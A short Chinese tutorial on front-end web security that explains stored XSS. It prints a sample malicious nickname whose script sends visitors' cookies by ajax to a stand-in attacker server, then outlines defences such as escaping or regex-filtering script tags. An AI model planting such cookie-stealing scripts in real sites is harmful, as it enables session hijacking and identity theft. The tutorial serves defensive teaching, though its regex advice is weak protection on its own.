目前WEB应用为满足用户需求,也变得越来越复杂,随之而来的就是各种网络安全的问题。今天在这里讨论前端安全相关的事情。然而想做到绝对安全几乎不可能,支付宝也爆过安全问题,而我们要做的就是提高安全等级,只要能让黑客的攻击成本。

XSS注入示例:

如果一个社交网站没有做XSS防范,一位恶意博主的昵称如下:

1
2
3
4
5
6
7
<script>
$.ajax({
url: '自己的服务器',
dataType: 'jsonp',
data: {'cookie': document.cookie}
});
</script>

那么有访问者来到这个博主的空间时,就会执行script标签中的代码,发起ajax请求、并把访问者的cookie上传到攻击者服务器,如此访问者身份信息被盗。

防范XSS注入

上述的注入示例,原理是浏览器遇到script标签的,执行其中的脚本,导致攻击成功。但是如果我们将script标签的进行转义,则浏览器便不会认为其是一个标签,不去执行其中的代码,只是正常展示.
通过标签, src属性做注入的方式多烦多可以参考:

比较不错的参考资料

https://segmentfault.com/a/1190000006672214#articleHeader11

最为快捷一绝后患的方式,即 正则匹配script标签进行内容替换,或者禁止用户输入此类字符